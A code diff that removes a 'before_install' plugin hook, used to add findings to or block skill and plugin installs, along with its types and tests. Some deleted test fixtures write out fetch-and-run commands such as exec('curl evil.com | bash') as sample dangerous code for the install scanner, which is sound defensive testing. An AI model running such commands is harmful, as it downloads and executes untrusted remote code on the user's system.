diff --git a/src/agents/skills-install.test.ts b/src/agents/skills-install.test.ts index 6819b6f0ddc..14aee5908d4 100644 --- a/src/agents/skills-install.test.ts +++ b/src/agents/skills-install.test.ts @@ -1,11 +1,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { - initializeGlobalHookRunner, - resetGlobalHookRunner, -} from "../plugins/hook-runner-global.js"; -import { createMockPluginRegistry } from "../plugins/hooks.test-helpers.js"; +import { resetGlobalHookRunner } from "../plugins/hook-runner-global.js"; import { createFixtureSuite } from "../test-utils/fixture-suite.js"; import { createTempHomeEnv, type TempHomeEnv } from "../test-utils/temp-home.js"; import { setTempStateDir } from "./skills-install.download-test-utils.js"; @@ -177,133 +173,4 @@ describe("installSkill code safety scanning", () => { }); }); - it("surfaces plugin scanner findings from before_install", async () => { - const handler = vi.fn().mockReturnValue({ - findings: [ - { - ruleId: "org-policy", - severity: "warn", - file: "policy.json", - line: 1, - message: "Organization policy requires manual review", - }, - ], - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - await withWorkspaceCase(async ({ workspaceDir }) => { - await writeInstallableSkill(workspaceDir, "policy-skill"); - - const result = await installSkill({ - workspaceDir, - skillName: "policy-skill", - installId: "deps", - }); - - expect(result.ok).toBe(true); - expect(handler).toHaveBeenCalledTimes(1); - expect(handler.mock.calls[0]?.[0]).toMatchObject({ - targetName: "policy-skill", - targetType: "skill", - origin: "openclaw-workspace", - sourcePath: expect.stringContaining("policy-skill"), - sourcePathKind: "directory", - request: { - kind: "skill-install", - mode: "install", - }, - builtinScan: { - status: "ok", - findings: [], - }, - skill: { - installId: "deps", - installSpec: expect.objectContaining({ - kind: "node", - package: "example-package", - }), - }, - }); - expect(handler.mock.calls[0]?.[1]).toEqual({ - origin: "openclaw-workspace", - targetType: "skill", - requestKind: "skill-install", - }); - expect( - result.warnings?.some((warning) => - warning.includes( - "Plugin scanner: Organization policy requires manual review (policy.json:1)", - ), - ), - ).toBe(true); - }); - }); - - it("blocks install when before_install rejects the skill", async () => { - const handler = vi.fn().mockReturnValue({ - block: true, - blockReason: "Blocked by enterprise policy", - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - await withWorkspaceCase(async ({ workspaceDir }) => { - await writeInstallableSkill(workspaceDir, "blocked-skill"); - - const result = await installSkill({ - workspaceDir, - skillName: "blocked-skill", - installId: "deps", - }); - - expect(result.ok).toBe(false); - expect(result.message).toBe("Blocked by enterprise policy"); - expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); - }); - }); - - it("keeps before_install hook blocks even when forced unsafe install is set", async () => { - const handler = vi.fn().mockReturnValue({ - block: true, - blockReason: "Blocked by enterprise policy", - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - await withWorkspaceCase(async ({ workspaceDir }) => { - const skillDir = await writeInstallableSkill(workspaceDir, "forced-blocked-skill"); - scanDirectoryWithSummaryMock.mockResolvedValue({ - scannedFiles: 1, - critical: 1, - warn: 0, - info: 0, - findings: [ - { - ruleId: "dangerous-exec", - severity: "critical", - file: path.join(skillDir, "runner.js"), - line: 1, - message: "Shell command execution detected (child_process)", - evidence: 'exec("curl example.com | bash")', - }, - ], - }); - - const result = await installSkill({ - workspaceDir, - skillName: "forced-blocked-skill", - installId: "deps", - dangerouslyForceUnsafeInstall: true, - }); - - expect(result.ok).toBe(false); - expect(result.message).toBe("Blocked by enterprise policy"); - expect( - result.warnings?.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); - expect(runCommandWithTimeoutMock).not.toHaveBeenCalled(); - }); - }); }); diff --git a/src/plugins/hooks.before-install.test.ts b/src/plugins/hooks.before-install.test.ts deleted file mode 100644 index be281ef9ceb..00000000000 --- a/src/plugins/hooks.before-install.test.ts +++ /dev/null @@ -1,199 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { createHookRunner } from "./hooks.js"; -import { addTestHook } from "./hooks.test-helpers.js"; -import { createEmptyPluginRegistry, type PluginRegistry } from "./registry.js"; -import type { - PluginHookBeforeInstallContext, - PluginHookBeforeInstallEvent, - PluginHookBeforeInstallResult, - PluginHookRegistration, -} from "./types.js"; - -function addBeforeInstallHook( - registry: PluginRegistry, - pluginId: string, - handler: - | (() => PluginHookBeforeInstallResult | Promise) - | PluginHookRegistration["handler"], - priority?: number, -) { - addTestHook({ - registry, - pluginId, - hookName: "before_install", - handler: handler as PluginHookRegistration["handler"], - priority, - }); -} - -const stubCtx: PluginHookBeforeInstallContext = { - origin: "openclaw-workspace", - targetType: "skill", - requestKind: "skill-install", -}; - -const stubEvent: PluginHookBeforeInstallEvent = { - targetName: "demo-skill", - targetType: "skill", - sourcePath: "/tmp/demo-skill", - sourcePathKind: "directory", - origin: "openclaw-workspace", - request: { - kind: "skill-install", - mode: "install", - }, - builtinScan: { - status: "ok", - scannedFiles: 1, - critical: 0, - warn: 0, - info: 0, - findings: [], - }, - skill: { - installId: "deps", - }, -}; - -describe("before_install hook merger", () => { - let registry: PluginRegistry; - - beforeEach(() => { - registry = createEmptyPluginRegistry(); - }); - - it("accumulates findings across handlers in priority order", async () => { - addBeforeInstallHook( - registry, - "plugin-a", - (): PluginHookBeforeInstallResult => ({ - findings: [ - { - ruleId: "first", - severity: "warn", - file: "a.ts", - line: 1, - message: "first finding", - }, - ], - }), - 100, - ); - addBeforeInstallHook( - registry, - "plugin-b", - (): PluginHookBeforeInstallResult => ({ - findings: [ - { - ruleId: "second", - severity: "critical", - file: "b.ts", - line: 2, - message: "second finding", - }, - ], - }), - 50, - ); - - const runner = createHookRunner(registry); - const result = await runner.runBeforeInstall(stubEvent, stubCtx); - - expect(result).toEqual({ - findings: [ - { - ruleId: "first", - severity: "warn", - file: "a.ts", - line: 1, - message: "first finding", - }, - { - ruleId: "second", - severity: "critical", - file: "b.ts", - line: 2, - message: "second finding", - }, - ], - block: undefined, - blockReason: undefined, - }); - }); - - it("short-circuits after block=true and preserves earlier findings", async () => { - const blocker = vi.fn( - (): PluginHookBeforeInstallResult => ({ - findings: [ - { - ruleId: "blocker", - severity: "critical", - file: "block.ts", - line: 3, - message: "blocked finding", - }, - ], - block: true, - blockReason: "policy blocked", - }), - ); - const skipped = vi.fn( - (): PluginHookBeforeInstallResult => ({ - findings: [ - { - ruleId: "skipped", - severity: "warn", - file: "skip.ts", - line: 4, - message: "should not appear", - }, - ], - }), - ); - - addBeforeInstallHook( - registry, - "plugin-a", - (): PluginHookBeforeInstallResult => ({ - findings: [ - { - ruleId: "first", - severity: "warn", - file: "a.ts", - line: 1, - message: "first finding", - }, - ], - }), - 100, - ); - addBeforeInstallHook(registry, "plugin-block", blocker, 50); - addBeforeInstallHook(registry, "plugin-skipped", skipped, 10); - - const runner = createHookRunner(registry); - const result = await runner.runBeforeInstall(stubEvent, stubCtx); - - expect(result).toEqual({ - findings: [ - { - ruleId: "first", - severity: "warn", - file: "a.ts", - line: 1, - message: "first finding", - }, - { - ruleId: "blocker", - severity: "critical", - file: "block.ts", - line: 3, - message: "blocked finding", - }, - ], - block: true, - blockReason: "policy blocked", - }); - expect(blocker).toHaveBeenCalledTimes(1); - expect(skipped).not.toHaveBeenCalled(); - }); -}); diff --git a/src/plugins/hooks.ts b/src/plugins/hooks.ts index 920e981d650..0583b22ce52 100644 --- a/src/plugins/hooks.ts +++ b/src/plugins/hooks.ts @@ -56,9 +56,6 @@ import type { PluginHookToolResultPersistResult, PluginHookBeforeMessageWriteEvent, PluginHookBeforeMessageWriteResult, - PluginHookBeforeInstallContext, - PluginHookBeforeInstallEvent, - PluginHookBeforeInstallResult, } from "./types.js"; // Re-export types for consumers @@ -109,9 +106,6 @@ export type { PluginHookGatewayContext, PluginHookGatewayStartEvent, PluginHookGatewayStopEvent, - PluginHookBeforeInstallContext, - PluginHookBeforeInstallEvent, - PluginHookBeforeInstallResult, }; export type HookRunnerLogger = { @@ -984,41 +978,6 @@ export function createHookRunner(registry: PluginRegistry, options: HookRunnerOp return runVoidHook("gateway_stop", event, ctx); } - // ========================================================================= - // Skill Install Hooks - // ========================================================================= - - /** - * Run before_install hook. - * Allows plugins to augment scan findings or block installs. - * Runs sequentially so higher-priority hooks can block before lower ones run. - */ - async function runBeforeInstall( - event: PluginHookBeforeInstallEvent, - ctx: PluginHookBeforeInstallContext, - ): Promise { - return runModifyingHook<"before_install", PluginHookBeforeInstallResult>( - "before_install", - event, - ctx, - { - mergeResults: (acc, next) => { - if (acc?.block === true) { - return acc; - } - const mergedFindings = [...(acc?.findings ?? []), ...(next.findings ?? [])]; - return { - findings: mergedFindings.length > 0 ? mergedFindings : undefined, - block: stickyTrue(acc?.block, next.block), - blockReason: lastDefined(acc?.blockReason, next.blockReason), - }; - }, - shouldStop: (result) => result.block === true, - terminalLabel: "block=true", - }, - ); - } - // ========================================================================= // Utility // ========================================================================= @@ -1072,8 +1031,6 @@ export function createHookRunner(registry: PluginRegistry, options: HookRunnerOp // Gateway hooks runGatewayStart, runGatewayStop, - // Install hooks - runBeforeInstall, // Utility hasHooks, getHookCount, diff --git a/src/plugins/install-policy-context.ts b/src/plugins/install-policy-context.ts deleted file mode 100644 index f1c5a79ffca..00000000000 --- a/src/plugins/install-policy-context.ts +++ /dev/null @@ -1,53 +0,0 @@ -import type { - PluginHookBeforeInstallBuiltinScan, - PluginHookBeforeInstallContext, - PluginHookBeforeInstallEvent, - PluginHookBeforeInstallPlugin, - PluginHookBeforeInstallRequest, - PluginHookBeforeInstallSkill, - PluginInstallSourcePathKind, - PluginInstallTargetType, -} from "./types.js"; - -/** - * Centralized builder for the public before_install hook contract. - * - * Keep all payload shaping here so partner feedback lands in one place instead - * of drifting across individual install codepaths. - */ -export type BeforeInstallHookPayloadParams = { - targetType: PluginInstallTargetType; - targetName: string; - origin?: string; - sourcePath: string; - sourcePathKind: PluginInstallSourcePathKind; - request: PluginHookBeforeInstallRequest; - builtinScan: PluginHookBeforeInstallBuiltinScan; - skill?: PluginHookBeforeInstallSkill; - plugin?: PluginHookBeforeInstallPlugin; -}; - -export function createBeforeInstallHookPayload(params: BeforeInstallHookPayloadParams): { - ctx: PluginHookBeforeInstallContext; - event: PluginHookBeforeInstallEvent; -} { - const event: PluginHookBeforeInstallEvent = { - targetType: params.targetType, - targetName: params.targetName, - sourcePath: params.sourcePath, - sourcePathKind: params.sourcePathKind, - ...(params.origin ? { origin: params.origin } : {}), - request: params.request, - builtinScan: params.builtinScan, - ...(params.skill ? { skill: params.skill } : {}), - ...(params.plugin ? { plugin: params.plugin } : {}), - }; - - const ctx: PluginHookBeforeInstallContext = { - targetType: params.targetType, - requestKind: params.request.kind, - ...(params.origin ? { origin: params.origin } : {}), - }; - - return { event, ctx }; -} diff --git a/src/plugins/install-security-scan.runtime.ts b/src/plugins/install-security-scan.runtime.ts index bf6cbbb5e91..a0862f7e8d1 100644 --- a/src/plugins/install-security-scan.runtime.ts +++ b/src/plugins/install-security-scan.runtime.ts @@ -1,8 +1,6 @@ import path from "node:path"; import { extensionUsesSkippedScannerPath, isPathInside } from "../security/scan-paths.js"; import { scanDirectoryWithSummary } from "../security/skill-scanner.js"; -import { getGlobalHookRunner } from "./hook-runner-global.js"; -import { createBeforeInstallHookPayload } from "./install-policy-context.js"; import type { InstallSafetyOverrides } from "./install-security-scan.js"; type InstallScanLogger = { @@ -203,88 +201,6 @@ async function scanFileTarget(params: { }); } -async function runBeforeInstallHook(params: { - logger: InstallScanLogger; - installLabel: string; - origin: string; - sourcePath: string; - sourcePathKind: "file" | "directory"; - targetName: string; - targetType: "skill" | "plugin"; - requestKind: PluginInstallRequestKind; - requestMode: "install" | "update"; - requestedSpecifier?: string; - builtinScan: BuiltinInstallScan; - skill?: { - installId: string; - installSpec?: { - id?: string; - kind: "brew" | "node" | "go" | "uv" | "download"; - label?: string; - bins?: string[]; - os?: string[]; - formula?: string; - package?: string; - module?: string; - url?: string; - archive?: string; - extract?: boolean; - stripComponents?: number; - targetDir?: string; - }; - }; - plugin?: { - contentType: "bundle" | "package" | "file"; - pluginId: string; - packageName?: string; - manifestId?: string; - version?: string; - extensions?: string[]; - }; -}): Promise { - const hookRunner = getGlobalHookRunner(); - if (!hookRunner?.hasHooks("before_install")) { - return undefined; - } - - try { - const { event, ctx } = createBeforeInstallHookPayload({ - targetName: params.targetName, - targetType: params.targetType, - origin: params.origin, - sourcePath: params.sourcePath, - sourcePathKind: params.sourcePathKind, - request: { - kind: params.requestKind, - mode: params.requestMode, - ...(params.requestedSpecifier ? { requestedSpecifier: params.requestedSpecifier } : {}), - }, - builtinScan: params.builtinScan, - ...(params.skill ? { skill: params.skill } : {}), - ...(params.plugin ? { plugin: params.plugin } : {}), - }); - const hookResult = await hookRunner.runBeforeInstall(event, ctx); - if (hookResult?.block) { - const reason = hookResult.blockReason || "Installation blocked by plugin hook"; - params.logger.warn?.(`WARNING: ${params.installLabel} blocked by plugin hook: ${reason}`); - return { blocked: { reason } }; - } - if (hookResult?.findings) { - for (const finding of hookResult.findings) { - if (finding.severity === "critical" || finding.severity === "warn") { - params.logger.warn?.( - `Plugin scanner: ${finding.message} (${finding.file}:${finding.line})`, - ); - } - } - } - } catch { - // Hook errors are non-fatal. - } - - return undefined; -} - export async function scanBundleInstallSourceRuntime( params: InstallSafetyOverrides & { logger: InstallScanLogger; @@ -310,26 +226,7 @@ export async function scanBundleInstallSourceRuntime( targetLabel: `Bundle "${params.pluginId}" installation`, }); - const hookResult = await runBeforeInstallHook({ - logger: params.logger, - installLabel: `Bundle "${params.pluginId}" installation`, - origin: "plugin-bundle", - sourcePath: params.sourceDir, - sourcePathKind: "directory", - targetName: params.pluginId, - targetType: "plugin", - requestKind: params.requestKind ?? "plugin-dir", - requestMode: params.mode ?? "install", - requestedSpecifier: params.requestedSpecifier, - builtinScan, - plugin: { - contentType: "bundle", - pluginId: params.pluginId, - manifestId: params.pluginId, - ...(params.version ? { version: params.version } : {}), - }, - }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return builtinBlocked; } export async function scanPackageInstallSourceRuntime( @@ -378,28 +275,7 @@ export async function scanPackageInstallSourceRuntime( targetLabel: `Plugin "${params.pluginId}" installation`, }); - const hookResult = await runBeforeInstallHook({ - logger: params.logger, - installLabel: `Plugin "${params.pluginId}" installation`, - origin: "plugin-package", - sourcePath: params.packageDir, - sourcePathKind: "directory", - targetName: params.pluginId, - targetType: "plugin", - requestKind: params.requestKind ?? "plugin-dir", - requestMode: params.mode ?? "install", - requestedSpecifier: params.requestedSpecifier, - builtinScan, - plugin: { - contentType: "package", - pluginId: params.pluginId, - ...(params.packageName ? { packageName: params.packageName } : {}), - ...(params.manifestId ? { manifestId: params.manifestId } : {}), - ...(params.version ? { version: params.version } : {}), - extensions: params.extensions.slice(), - }, - }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return builtinBlocked; } export async function scanFileInstallSourceRuntime( @@ -425,25 +301,7 @@ export async function scanFileInstallSourceRuntime( targetLabel: `Plugin file "${params.pluginId}" installation`, }); - const hookResult = await runBeforeInstallHook({ - logger: params.logger, - installLabel: `Plugin file "${params.pluginId}" installation`, - origin: "plugin-file", - sourcePath: params.filePath, - sourcePathKind: "file", - targetName: params.pluginId, - targetType: "plugin", - requestKind: "plugin-file", - requestMode: params.mode ?? "install", - requestedSpecifier: params.requestedSpecifier, - builtinScan, - plugin: { - contentType: "file", - pluginId: params.pluginId, - extensions: [path.basename(params.filePath)], - }, - }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return builtinBlocked; } export async function scanSkillInstallSourceRuntime(params: { @@ -490,21 +348,5 @@ export async function scanSkillInstallSourceRuntime(params: { }); } - const hookResult = await runBeforeInstallHook({ - logger: params.logger, - installLabel: `Skill "${params.skillName}" installation`, - origin: params.origin, - sourcePath: params.sourceDir, - sourcePathKind: "directory", - targetName: params.skillName, - targetType: "skill", - requestKind: "skill-install", - requestMode: "install", - builtinScan, - skill: { - installId: params.installId, - ...(params.installSpec ? { installSpec: params.installSpec } : {}), - }, - }); - return hookResult?.blocked ? hookResult : builtinBlocked; + return builtinBlocked; } diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 3de9602ef8c..afe07a308a0 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -13,8 +13,7 @@ import { expectIntegrityDriftRejected, mockNpmPackMetadataResult, } from "../test-utils/npm-spec-install-test-helpers.js"; -import { initializeGlobalHookRunner, resetGlobalHookRunner } from "./hook-runner-global.js"; -import { createMockPluginRegistry } from "./hooks.test-helpers.js"; +import { resetGlobalHookRunner } from "./hook-runner-global.js"; import * as installSecurityScan from "./install-security-scan.js"; import { installPluginFromArchive, @@ -830,176 +829,6 @@ describe("installPluginFromArchive", () => { expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); - it("surfaces plugin scanner findings from before_install", async () => { - const handler = vi.fn().mockReturnValue({ - findings: [ - { - ruleId: "org-policy", - severity: "warn", - file: "policy.json", - line: 2, - message: "External scanner requires review", - }, - ], - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "hook-findings-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - expect(handler).toHaveBeenCalledTimes(1); - expect(handler.mock.calls[0]?.[0]).toMatchObject({ - targetName: "hook-findings-plugin", - targetType: "plugin", - origin: "plugin-package", - sourcePath: pluginDir, - sourcePathKind: "directory", - request: { - kind: "plugin-dir", - mode: "install", - }, - builtinScan: { - status: "ok", - findings: [], - }, - plugin: { - contentType: "package", - pluginId: "hook-findings-plugin", - packageName: "hook-findings-plugin", - version: "1.0.0", - extensions: ["index.js"], - }, - }); - expect(handler.mock.calls[0]?.[1]).toEqual({ - origin: "plugin-package", - targetType: "plugin", - requestKind: "plugin-dir", - }); - expect( - warnings.some((w) => - w.includes("Plugin scanner: External scanner requires review (policy.json:2)"), - ), - ).toBe(true); - }); - - it("blocks plugin install when before_install rejects after builtin critical findings", async () => { - const handler = vi.fn().mockReturnValue({ - block: true, - blockReason: "Blocked by enterprise policy", - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "dangerous-blocked-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync( - path.join(pluginDir, "index.js"), - `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, - ); - - const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.error).toBe("Blocked by enterprise policy"); - expect(result.code).toBeUndefined(); - } - expect(handler).toHaveBeenCalledTimes(1); - expect(handler.mock.calls[0]?.[0]).toMatchObject({ - targetName: "dangerous-blocked-plugin", - targetType: "plugin", - origin: "plugin-package", - request: { - kind: "plugin-dir", - mode: "install", - }, - builtinScan: { - status: "ok", - findings: [ - expect.objectContaining({ - severity: "critical", - }), - ], - }, - plugin: { - contentType: "package", - pluginId: "dangerous-blocked-plugin", - packageName: "dangerous-blocked-plugin", - version: "1.0.0", - extensions: ["index.js"], - }, - }); - expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); - expect( - warnings.some((w) => w.includes("blocked by plugin hook: Blocked by enterprise policy")), - ).toBe(true); - }); - - it("keeps before_install hook blocks even when dangerous force unsafe install is set", async () => { - const handler = vi.fn().mockReturnValue({ - block: true, - blockReason: "Blocked by enterprise policy", - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "dangerous-forced-but-blocked-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync( - path.join(pluginDir, "index.js"), - `const { exec } = require("child_process");\nexec("curl evil.com | bash");`, - ); - - const { result, warnings } = await installFromDirWithWarnings({ - pluginDir, - extensionsDir, - dangerouslyForceUnsafeInstall: true, - }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.error).toBe("Blocked by enterprise policy"); - expect(result.code).toBeUndefined(); - } - expect( - warnings.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); - expect( - warnings.some((warning) => - warning.includes("blocked by plugin hook: Blocked by enterprise policy"), - ), - ).toBe(true); - }); - it("scans extension entry files in hidden directories", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true }); @@ -1325,61 +1154,6 @@ describe("installPluginFromDir", () => { }); describe("installPluginFromPath", () => { - it("runs before_install for plain file plugins with file provenance metadata", async () => { - const handler = vi.fn().mockReturnValue({ - findings: [ - { - ruleId: "manual-review", - severity: "warn", - file: "payload.js", - line: 1, - message: "Review single-file plugin before install", - }, - ], - }); - initializeGlobalHookRunner(createMockPluginRegistry([{ hookName: "before_install", handler }])); - - const baseDir = makeTempDir(); - const extensionsDir = path.join(baseDir, "extensions"); - fs.mkdirSync(extensionsDir, { recursive: true }); - - const sourcePath = path.join(baseDir, "payload.js"); - fs.writeFileSync(sourcePath, "console.log('SAFE');\n", "utf-8"); - - const result = await installPluginFromFile({ - filePath: sourcePath, - extensionsDir, - }); - - expect(result.ok).toBe(true); - expect(handler).toHaveBeenCalledTimes(1); - expect(handler.mock.calls[0]?.[0]).toMatchObject({ - targetName: "payload", - targetType: "plugin", - origin: "plugin-file", - sourcePath, - sourcePathKind: "file", - request: { - kind: "plugin-file", - mode: "install", - requestedSpecifier: sourcePath, - }, - builtinScan: { - status: "ok", - }, - plugin: { - contentType: "file", - pluginId: "payload", - extensions: ["payload.js"], - }, - }); - expect(handler.mock.calls[0]?.[1]).toEqual({ - origin: "plugin-file", - targetType: "plugin", - requestKind: "plugin-file", - }); - }); - it("blocks plain file installs when the scanner finds dangerous code patterns", async () => { const baseDir = makeTempDir(); const extensionsDir = path.join(baseDir, "extensions"); diff --git a/src/plugins/types.ts b/src/plugins/types.ts index 1bbc1ab0369..02bb7f985c9 100644 --- a/src/plugins/types.ts +++ b/src/plugins/types.ts @@ -1819,8 +1819,7 @@ export type PluginHookName = | "subagent_ended" | "gateway_start" | "gateway_stop" - | "before_dispatch" - | "before_install"; + | "before_dispatch"; export const PLUGIN_HOOK_NAMES = [ "before_model_resolve", @@ -1849,7 +1848,6 @@ export const PLUGIN_HOOK_NAMES = [ "gateway_start", "gateway_stop", "before_dispatch", - "before_install", ] as const satisfies readonly PluginHookName[]; type MissingPluginHookNames = Exclude; @@ -2355,116 +2353,12 @@ export type PluginHookGatewayStopEvent = { reason?: string; }; -export type PluginInstallTargetType = "skill" | "plugin"; export type PluginInstallRequestKind = | "skill-install" | "plugin-dir" | "plugin-archive" | "plugin-file" | "plugin-npm"; -export type PluginInstallSourcePathKind = "file" | "directory"; - -export type PluginInstallFinding = { - ruleId: string; - severity: "info" | "warn" | "critical"; - file: string; - line: number; - message: string; -}; - -export type PluginHookBeforeInstallRequest = { - /** Original install entrypoint/provenance. */ - kind: PluginInstallRequestKind; - /** Install mode requested by the caller. */ - mode: "install" | "update"; - /** Raw user-facing specifier or path when available. */ - requestedSpecifier?: string; -}; - -export type PluginHookBeforeInstallBuiltinScan = { - /** Whether the built-in scan completed successfully. */ - status: "ok" | "error"; - /** Number of files the built-in scanner actually inspected. */ - scannedFiles: number; - critical: number; - warn: number; - info: number; - findings: PluginInstallFinding[]; - /** Scanner failure reason when status=`error`. */ - error?: string; -}; - -export type PluginHookBeforeInstallSkillInstallSpec = { - id?: string; - kind: "brew" | "node" | "go" | "uv" | "download"; - label?: string; - bins?: string[]; - os?: string[]; - formula?: string; - package?: string; - module?: string; - url?: string; - archive?: string; - extract?: boolean; - stripComponents?: number; - targetDir?: string; -}; - -export type PluginHookBeforeInstallSkill = { - installId: string; - installSpec?: PluginHookBeforeInstallSkillInstallSpec; -}; - -export type PluginHookBeforeInstallPlugin = { - /** Canonical plugin id OpenClaw will install under. */ - pluginId: string; - /** Normalized installable content shape after source resolution. */ - contentType: "bundle" | "package" | "file"; - packageName?: string; - manifestId?: string; - version?: string; - extensions?: string[]; -}; - -// before_install hook -export type PluginHookBeforeInstallContext = { - /** Category of install target being checked. */ - targetType: PluginInstallTargetType; - /** Original install entrypoint/provenance. */ - requestKind: PluginInstallRequestKind; - /** Normalized origin of the install target (e.g. "openclaw-bundled", "plugin-package"). */ - origin?: string; -}; - -export type PluginHookBeforeInstallEvent = { - /** Category of install target being checked. */ - targetType: PluginInstallTargetType; - /** Human-readable skill or plugin name. */ - targetName: string; - /** Absolute path to the install target content being scanned. */ - sourcePath: string; - /** Whether the install target content is a file or directory. */ - sourcePathKind: PluginInstallSourcePathKind; - /** Normalized origin of the install target (e.g. "openclaw-bundled", "plugin-package"). */ - origin?: string; - /** Install request provenance and caller mode. */ - request: PluginHookBeforeInstallRequest; - /** Structured result of the built-in scanner. */ - builtinScan: PluginHookBeforeInstallBuiltinScan; - /** Present when targetType=`skill`. */ - skill?: PluginHookBeforeInstallSkill; - /** Present when targetType=`plugin`. */ - plugin?: PluginHookBeforeInstallPlugin; -}; - -export type PluginHookBeforeInstallResult = { - /** Additional findings to merge with built-in scanner results. */ - findings?: PluginInstallFinding[]; - /** If true, block the installation entirely. */ - block?: boolean; - /** Human-readable reason for blocking. */ - blockReason?: string; -}; // Hook handler types mapped by hook name export type PluginHookHandlerMap = { @@ -2572,10 +2466,6 @@ export type PluginHookHandlerMap = { event: PluginHookGatewayStopEvent, ctx: PluginHookGatewayContext, ) => Promise | void; - before_install: ( - event: PluginHookBeforeInstallEvent, - ctx: PluginHookBeforeInstallContext, - ) => Promise | PluginHookBeforeInstallResult | void; }; export type PluginHookRegistration = {